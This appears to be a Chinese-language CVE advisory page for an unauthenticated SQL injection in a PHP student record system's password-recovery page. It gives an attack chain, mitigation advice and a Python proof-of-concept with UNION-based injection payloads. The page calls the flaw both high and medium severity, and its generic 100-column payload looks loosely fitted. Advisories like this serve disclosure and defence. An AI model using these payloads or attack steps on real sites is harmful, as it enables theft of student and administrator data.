IPBUF安全漏洞报告
English
CVE-2024-44632 CVSS 6.5 中危

CVE-2024-44632 PHPGurukul学生记录系统SQL注入漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2024-44632
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Student Record System 3.20

相关标签

SQL注入CVE-2024-44632PHPGurukulStudent Record System密码恢复模块Web应用安全无认证利用数据库注入id参数注入emailid参数注入

漏洞概述

CVE-2024-44632是PHPGurukul Student Record System 3.20版本中的一个高危安全漏洞。该系统是一款基于PHP和MySQL开发的开源学生信息管理系统,广泛应用于教育机构进行学生档案管理。漏洞存在于密码恢复功能模块中的password-recovery.php文件,由于对用户输入的id和emailid参数缺乏充分的输入验证和SQL语句预编译处理,攻击者可以通过构造恶意的SQL语句片段实现SQL注入攻击。成功利用此漏洞,攻击者可以在未经认证的情况下,非法访问、修改或删除数据库中的敏感信息,包括学生个人信息、教师账户数据、系统配置参数等。该漏洞的CVSS评分为6.5,属于中危级别,但由于其无需认证即可利用,且位于系统核心功能模块,建议相关用户尽快采取修复措施。

技术细节

该SQL注入漏洞主要存在于password-recovery.php文件中的id和emailid参数处理逻辑。当用户请求密码恢复功能时,系统会接收用户提交的id和emailid参数,并将其直接拼接到SQL查询语句中,而未进行充分的输入过滤或使用参数化查询。攻击者可以通过在参数值中注入SQL语句,如使用UNION SELECT、布尔盲注或时间盲注等技术,获取数据库中的敏感信息。具体的攻击向量包括:1)通过id参数注入UNION查询语句,读取数据库版本、用户信息等;2)通过emailid参数进行布尔盲注,验证数据库条件或提取特定数据;3)利用时间盲注在无回显情况下推断数据内容。由于该漏洞无需认证即可触发,攻击者可以直接通过HTTP请求访问password-recovery.php页面进行利用。建议开发者使用PDO或mysqli的预处理语句机制,对所有用户输入进行参数化查询,同时实施严格的输入验证和白名单过滤策略。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先访问目标网站,识别PHPGurukul Student Record System版本为3.20,并定位password-recovery.php密码恢复功能页面
STEP 2
步骤2
漏洞探测:攻击者向password-recovery.php发送包含SQL注入载荷的HTTP请求,在id或emailid参数中注入测试payload(如单引号、布尔表达式等),观察系统响应以确认漏洞存在
STEP 3
步骤3
数据提取:利用UNION注入或盲注技术,构造恶意SQL语句从数据库中提取敏感信息,包括用户表中的账号、密码哈希、管理员凭证等数据
STEP 4
步骤4
权限提升:获取管理员账户凭证后,攻击者登录后台管理系统,获取更高权限访问权限
STEP 5
步骤5
持久化控制:在系统中植入后门、创建恶意管理员账户或修改现有账户权限,建立持久化访问通道
STEP 6
步骤6
横向移动:利用获取的数据库信息尝试访问同一网络环境下的其他系统或服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2024-44632 SQL Injection PoC # Target: PHPGurukul Student Record System 3.20 # Location: password-recovery.php (id and emailid parameters) def exploit_sqli(target_url): """ SQL Injection exploitation using UNION-based technique """ # Payload for UNION-based SQL injection on id parameter union_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 -- -" # Payload for extracting database version and user info_payload = "1' UNION SELECT 1,@@version,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 -- -" # Construct target URL target = f"{target_url}/password-recovery.php" print(f"[*] Target: {target}") print(f"[*] Exploiting SQL Injection on 'id' parameter...") # Send malicious request params = {'id': union_payload} try: response = requests.get(target, params=params, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("\n[*] Exploitation complete. Check response for SQL output.") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://victim.com/student-record-system") sys.exit(1) exploit_sqli(sys.argv[1]) # Additional blind SQL injection test for emailid parameter def blind_sqli_test(target_url, email_payload): """ Blind SQL injection test for emailid parameter """ target = f"{target_url}/password-recovery.php" params = {'emailid': email_payload} response = requests.post(target, data=params) return response

影响范围

PHPGurukul Student Record System 3.20

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)通过Web服务器配置(如Nginx/Apache规则)限制对password-recovery.php的直接访问,仅允许受信任的IP访问;2)实施临时的输入过滤规则,对id和emailid参数中的特殊字符(单引号、双引号、分号、注释符等)进行过滤或转义;3)禁用或限制数据库错误信息回显,防止攻击者获取详细的数据库结构信息;4)启用应用层速率限制,防止自动化SQL注入工具的大规模探测;5)考虑暂时关闭密码恢复功能,要求管理员手动处理密码重置请求;6)加强数据库账号权限控制,确保应用账号无法执行DROP TABLE、DELETE等高危操作;7)部署入侵检测系统(IDS)监控异常SQL查询行为;8)建议用户修改可能泄露的账户密码,并启用双因素认证(如可用)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表